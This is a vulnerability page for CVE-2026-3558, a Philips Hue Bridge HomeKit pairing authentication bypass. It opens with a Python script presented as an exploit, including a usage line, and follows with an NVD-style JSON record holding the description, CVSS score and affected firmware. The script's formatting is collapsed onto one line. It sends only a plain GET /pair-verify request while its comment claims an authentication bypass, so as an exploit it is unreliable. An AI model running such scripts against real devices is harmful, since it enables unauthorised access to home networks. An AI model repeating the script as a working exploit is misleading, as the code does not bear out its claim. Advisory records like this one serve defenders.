CVE-2026-3558

import socket import sys def exploit_hue_bridge(target_ip, target_port=8080): # Create socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send crafted HomeKit Accessory Protocol request # The vulnerability allows bypassing authentication request = b'GET /pair-verify HTTP/1.1\r\nHost: ' + target_ip.encode() + b':' + str(target_port).encode() + b'\r\n\r\n' s.send(request) response = s.recv(4096) print(response) s.close() if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python exploit.py <target_ip>') sys.exit(1) exploit_hue_bridge(sys.argv[1])

{"cve": {"id": "CVE-2026-3558", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:48.997", "lastModified": "2026-04-27T14:48:21.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge HomeKit Accessory Protocol Transient Pairing Mode Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of the HomeKit Accessory Protocol service, which listens on TCP port 8080 by default. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28374."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación en el modo de emparejamiento transitorio del Protocolo de Accesorios HomeKit de Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red omitir la autenticación en instalaciones afectadas de Philips Hue Bridge. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la configuración del servicio del Protocolo de Accesorios HomeKit, que escucha en el puerto TCP 8080 por defecto. El problema resulta de la falta de autenticación antes de permitir el acceso a la funcionalidad. Un atacante puede aprovechar esta vulnerabilidad para omitir la autenticación en el sistema. Fue ZDI-CAN-28374."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-156/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}